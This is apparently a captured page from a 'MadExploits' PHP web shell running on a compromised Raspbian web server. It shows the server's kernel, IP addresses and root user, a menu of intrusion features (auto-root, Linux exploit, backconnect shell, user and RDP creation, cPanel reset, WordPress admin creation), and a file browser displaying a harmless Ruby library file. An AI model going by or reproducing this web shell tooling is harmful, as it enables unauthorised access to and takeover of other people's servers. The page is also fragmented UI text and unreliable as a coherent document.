Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
concurrent /
actor /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
ad_hoc.rb
654
B
-rw-r--r--
balancer.rb
1.15
KB
-rw-r--r--
broadcast.rb
1.24
KB
-rw-r--r--
pool.rb
2.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : broadcast.rb
require 'set' module Concurrent module Actor module Utils # Allows to build pub/sub easily. # @example news # news_channel = Concurrent::Actor::Utils::Broadcast.spawn :news # # 2.times do |i| # Concurrent::Actor::Utils::AdHoc.spawn "listener-#{i}" do # news_channel << :subscribe # -> message { puts message } # end # end # # news_channel << 'Ruby rocks!' # # prints: 'Ruby rocks!' twice class Broadcast < RestartingContext def initialize @receivers = Set.new end def on_message(message) case message when :subscribe if envelope.sender.is_a? Reference @receivers.add envelope.sender true else false end when :unsubscribe !!@receivers.delete(envelope.sender) when :subscribed? @receivers.include? envelope.sender else filtered_receivers.each { |r| r << message } end end # override to define different behaviour, filtering etc def filtered_receivers @receivers end end end end end
Close